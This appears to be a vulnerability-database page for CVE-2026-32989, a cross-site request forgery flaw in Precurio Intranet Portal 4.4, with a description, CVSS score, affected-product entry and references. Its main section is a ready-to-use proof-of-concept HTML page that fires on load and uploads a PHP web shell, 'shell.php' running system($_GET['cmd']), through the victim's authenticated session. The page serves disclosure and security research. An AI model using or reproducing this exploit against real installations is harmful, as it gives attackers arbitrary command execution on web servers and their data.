CVE-2026-32989

Description

Precurio Intranet Portal 4.4 contains a cross-site request forgery vulnerability that allows attackers to induce authenticated users to submit crafted requests to a profile update endpoint handling file uploads. Attackers can exploit this to upload executable files to web-accessible locations, leading to arbitrary code execution in the context of the web server.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:precurio:intranet_portal:4.4:*:*:*:*:*:*:* - VULNERABLE

Precurio Intranet Portal 4.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-32989 -->
<!-- This HTML page demonstrates the CSRF attack vector -->
<html>
<body>
<script>
  function exploit() {
    // Target URL for the profile update endpoint
    var targetUrl = "http://target.com/precurio/index.php/profile/update";
    
    // Create a FormData object to simulate the file upload
    var formData = new FormData();
    // The malicious executable file (e.g., PHP shell)
    var blob = new Blob(["<?php system($_GET['cmd']); ?>"], { type: "application/x-php" });
    formData.append("profile_pic", blob, "shell.php");
    formData.append("update_action", "save");

    var xhr = new XMLHttpRequest();
    xhr.open("POST", targetUrl, true);
    // The browser automatically sends the session cookies
    xhr.withCredentials = true;
    xhr.onload = function () {
      if (xhr.readyState === 4) {
        console.log("File uploaded. Check /uploads/shell.php");
      }
    };
    xhr.send(formData);
  }

  // Auto-trigger the attack on page load
  window.onload = exploit;
</script>
<p>CVE-2026-32989 CSRF PoC running...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32989
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32989
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32989/
[4] VulDB https://vuldb.com/cve/CVE-2026-32989
[5] https://www.packetstorm.news/files/id/215644/
[6] https://www.precurio.com

Raw JSON Data

JSON

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